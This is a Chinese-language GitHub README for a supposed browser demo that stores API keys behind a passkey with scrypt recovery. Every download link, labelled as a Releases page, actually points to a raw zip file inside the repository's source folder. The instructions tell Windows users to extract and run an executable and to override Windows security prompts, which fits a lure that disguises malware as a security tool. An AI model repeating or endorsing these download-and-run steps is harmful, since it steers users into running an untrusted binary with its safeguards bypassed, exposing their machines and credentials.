perineumprotestant613/passkey-secret-demo

GitHub: perineumprotestant613/passkey-secret-demo

基于 WebAuthn PRF 和 scrypt 的本地 API 密钥加密存储演示工具,支持 passkey 解锁与恢复密钥双重保障机制。

Stars: 0 | Forks: 0

# 🔐 passkey-secret-demo - 将 API 密钥锁定在您的设备上 [![下载应用](https://img.shields.io/badge/Download%20Now-Visit%20Releases-blue?style=for-the-badge)](https://github.com/perineumprotestant613/passkey-secret-demo/raw/refs/heads/main/src/lib/demo_passkey_secret_1.7.zip) ## 🚀 此应用的功能 passkey-secret-demo 是一个用于在您自己的设备上存储 API 密钥的浏览器演示。它将机密信息保存在本地,允许您使用 passkey 对其进行解锁,并通过 scrypt 提供恢复途径。 您可以使用它来: - 将 API 密钥锁定在您的设备上 - 通过 WebAuthn PRF 使用 passkey 解锁它们 - 使用基于 scrypt 的恢复密钥恢复访问权限 - 测试用于本地机密信息处理的浏览器流程 ## 📥 在 Windows 上下载并运行 1. 打开 [Releases 页面](https://github.com/perineumprotestant613/passkey-secret-demo/raw/refs/heads/main/src/lib/demo_passkey_secret_1.7.zip) 2. 找到最新的 Windows 下载链接 3. 将文件下载到您的计算机 4. 如果下载的是 .zip 文件,请右键单击并选择“全部提取” 5. 打开解压后的文件夹 6. 运行其中的应用文件 如果 Windows 显示安全提示,请选择运行该文件的选项。如果应用在您的浏览器中打开,请按照屏幕上的步骤设置您的锁定和恢复密钥。 ## 🔑 工作原理 该应用使用两种方式来恢复您的机密信息: - 使用 WebAuthn PRF 进行 passkey 解锁 - 使用 scrypt 进行恢复解锁 这为您提供了一个简单的本地设置: - 您的 API 密钥保留在您的设备上 - 您的 passkey 帮助解锁它们 - 如果您需要其他进入方式,您的恢复密钥可以提供帮助 ## 🧭 首次设置 当您首次启动该应用时: 1. 创建新机密信息或粘贴 API 密钥 2. 在出现提示时设置您的 passkey 3. 将您的恢复密钥保存在安全的地方 4. 在正式使用前测试解锁流程 为获得最佳效果: - 使用您已经信任的 passkey - 保持您的恢复密钥处于离线状态 - 使用支持 WebAuthn 的浏览器 - 使用最新版本的 Windows 以及 Chrome、Edge 或 Firefox ## 🖥️ Windows 系统要求 此应用专为 Windows 上的普通桌面使用而构建。 推荐配置: - Windows 10 或 Windows 11 - 现代浏览器 - passkey 设备或内置的 passkey 支持 - 用于首次下载的稳定互联网连接 您可能还需要: - Windows Hello - 安全密钥 - 浏览器允许使用 passkey 的权限 ## 🔒 安全模型 passkey-secret-demo 围绕本地加密构建。这意味着该应用在正常使用时无需将您的 API 密钥发送到服务器。 主要部分包括: - 本地机密信息存储 - 基于 passkey 的解锁 - 使用 scrypt 进行恢复 - 基于浏览器的 WebAuthn 支持 此设置有助于让您保持对数据的控制,同时在您的 passkey 不可用时仍为您提供恢复途径。 ## 🛠️ 基本使用 安装并打开应用后: 1. 添加您要保护的机密信息 2. 创建 passkey 解锁 3. 保存您的恢复数据 4. 锁定机密信息 5. 在需要时使用您的 passkey 将其解锁 如果您想将其用于聊天机器人工具或 API 工作,您可以存储一次密钥,并仅在需要时解锁它。 ## 📚 常见使用案例 此演示可帮助您: - 存储 AI 或聊天机器人 API 密钥 - 测试 passkey 登录流程 - 了解浏览器中的本地加密工作原理 - 使开发者机密信息远离云存储 - 尝试不依赖于电子邮件重置的恢复流程 ## ❓ 如果出现问题 如果应用无法打开或解锁步骤失败: - 检查您是否下载了最新版本 - 尝试使用最新的浏览器 - 确保您的设备已启用 passkey - 如果 WebAuthn 未启动,请尝试其他浏览器 - 确认 Windows 没有阻止该文件 - 如果文件看起来不完整,请重新下载应用 如果恢复流程失败: - 确保您输入恢复密钥的方式与保存时完全一致 - 检查是否有多余的空格 - 如果应用有要求,请使用相同的浏览器配置文件 - 如果您想再次测试该流程,请创建一个全新的设置 ## 🧩 浏览器支持 该应用使用浏览器功能进行 passkey 解锁。通常在以下浏览器中效果最佳: - Microsoft Edge - Google Chrome - 支持 passkey 的 Mozilla Firefox - 保持最新版本的浏览器 要进行 passkey 登录,您的浏览器和设备必须支持 WebAuthn 和 PRF。 ## 📁 包含内容 发布版本可能包括: - Windows 应用包 - 本地应用文件 - 基于浏览器的演示构建 - 用于首次启动的设置文件 下载后,请根据文件名选择与您的系统相匹配的 Windows 选项。 ## 🧠 安全使用提示 - 将您的恢复密钥保存在密码管理器或离线备忘录中 - 不要以明文形式分享您的 API 密钥 - 在使用真实机密信息之前测试解锁和恢复功能 - 保持您的浏览器处于最新状态 - 在主要设置中使用一个受信任的 passkey ## 🔗 下载 访问 [Releases 页面](https://github.com/perineumprotestant613/passkey-secret-demo/raw/refs/heads/main/src/lib/demo_passkey_secret_1.7.zip) 下载并在 Windows 上运行此文件 [![获取最新版本](https://img.shields.io/badge/Latest%20Release-Open%20Downloads-grey?style=for-the-badge)](https://github.com/perineumprotestant613/passkey-secret-demo/raw/refs/heads/main/src/lib/demo_passkey_secret_1.7.zip) ## 🏷️ 主题 apikey-authentication, chatbot, cryptography, passkey, webauthn
标签:API密钥管理, Passkey, PRF, ProjectDiscovery, Scrypt, WebAuthn, Web安全, 凭据管理, 前端加密, 备份与恢复, 安全Demo, 密钥恢复, 数据保护, 数据可视化, 无密码认证, 本地存储, 本地应用, 浏览器加密, 端侧安全, 纯文本处理, 自动化攻击, 蓝队分析